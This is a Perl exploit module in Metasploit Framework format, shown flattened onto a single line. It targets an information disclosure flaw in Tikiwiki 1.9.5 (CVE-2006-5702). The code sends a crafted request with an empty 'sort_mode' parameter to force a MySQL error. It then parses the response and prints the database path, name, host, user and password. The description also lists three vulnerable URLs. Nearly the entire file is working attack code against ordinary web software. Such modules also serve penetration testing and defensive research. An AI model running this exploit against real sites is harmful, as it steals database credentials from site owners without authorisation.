## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::tikiwiki_information_disclosure; use base "Msf::Exploit"; use strict; use Pex::Text; use bytes; my $advanced = { }; my $info = { 'Name' => 'Tikiwiki information disclosure', 'Version' => '$Rev: $', 'Authors' => [ 'Matteo Cantoni ' ], 'Arch' => [ ], 'OS' => [ ], 'Priv' => 0, 'UserOpts' => { 'RHOST' => [1, 'ADDR', 'The target address'], 'RPORT' => [1, 'PORT', 'The target port', 80], 'VHOST' => [0, 'DATA', 'The virtual host name of the server'], 'DIR' => [1, 'DATA', 'Tikiwiki directory path', '/tikiwiki'], 'SSL' => [0, 'BOOL', 'Use SSL'], }, 'Description' => Pex::Text::Freeform(qq{ A vulnerability has been reported in Tikiwiki, which can be exploited by a anonymous user to dump the mysql user & passwd just by creating a mysql error with the "sort_mode" var. /tiki-lastchanges.php?days=1&offset=0&sort_mode= /tiki-listpages.php?offset=0&sort_mode= /tiki-webmail_contacts.php?sort_mode= The vulnerability has been reported in Tikiwiki version 1.9.5. }), 'Refs' => [ ['OSVDB', '30172'], ['BID', '20858'], ['CVE', '2006-5702'], ['MIL', '2701'], ['URL', 'http://secunia.com/advisories/22678/'], ], 'Keys' => ['tikiwiki'], 'DisclosureDate' => 'Nov 1 2006', }; sub new { my $class = shift; my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_); return($self); } sub Exploit { my $self = shift; my $target_host = $self->VHost; my $target_port = $self->GetVar('RPORT'); my $dir = $self->GetVar('DIR'); my $rpath = "/tiki-lastchanges.php?days=1&offset=0&sort_mode="; $dir = $dir.$rpath; my $request = "GET $dir HTTP/1.1\r\n". "Accept: */*\r\n". "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)\r\n". "Host: $target_host:$target_port\r\n". "Connection: Close\r\n". "\r\n"; my $s = Msf::Socket::Tcp->new( 'PeerAddr' => $target_host, 'PeerPort' => $target_port, 'SSL' => $self->GetVar('SSL'), ); if ($s->IsError){ $self->PrintLine('[*] Error creating socket: ' . $s->GetError); return; } $self->PrintLine("[*] Establishing a connection to the target..."); $s->Send($request); my $results = $s->Recv(-1, 20); $self->PrintLine("[*] Get informations about database..."); $self->PrintLine(""); if ($results){ my @results = split(/\n/, $results); my $n = 0; my $c = 0; foreach(@results){ $n++; if ($c < 6){ if ($_ =~ /\[\"file\"\]/ism){ $c++; (undef,$results[$n]) = split(/\"/, $results[$n]); ($results[$n],undef) = split(/\"/, $results[$n]); $self->PrintLine("path : $results[$n]"); } if ($_ =~ /\[\"databaseType\"\]/ism){ $c++; (undef,$results[$n]) = split(/\"/, $results[$n]); ($results[$n],undef) = split(/\"/, $results[$n]); $self->PrintLine("dbtype : $results[$n]"); } if ($_ =~ /\[\"databaseName\"\]/ism){ $c++; (undef,$results[$n]) = split(/\"/, $results[$n]); ($results[$n],undef) = split(/\"/, $results[$n]); $self->PrintLine("dbname : $results[$n]"); } if ($_ =~ /\[\"host\"\]/ism){ $c++; (undef,$results[$n]) = split(/\"/, $results[$n]); ($results[$n],undef) = split(/\"/, $results[$n]); $self->PrintLine("host : $results[$n]"); } if ($_ =~ /\[\"user\"\]/ism){ $c++; (undef,$results[$n]) = split(/\"/, $results[$n]); ($results[$n],undef) = split(/\"/, $results[$n]); $self->PrintLine("user : $results[$n]"); } if ($_ =~ /\[\"password\"\]/ism){ $c++; (undef,$results[$n]) = split(/\"/, $results[$n]); ($results[$n],undef) = split(/\"/, $results[$n]); $self->PrintLine("pass : $results[$n]"); } } } $self->PrintLine('[*] Could not obtain informations about database.') if $c == 0; $self->PrintLine(""); } else { $self->PrintLine('[*] Could not obtain informations about database.'); } $s->Close(); return; } sub VHost { my $self = shift; my $name = $self->GetVar('VHOST') || $self->GetVar('RHOST'); return $name; } 1;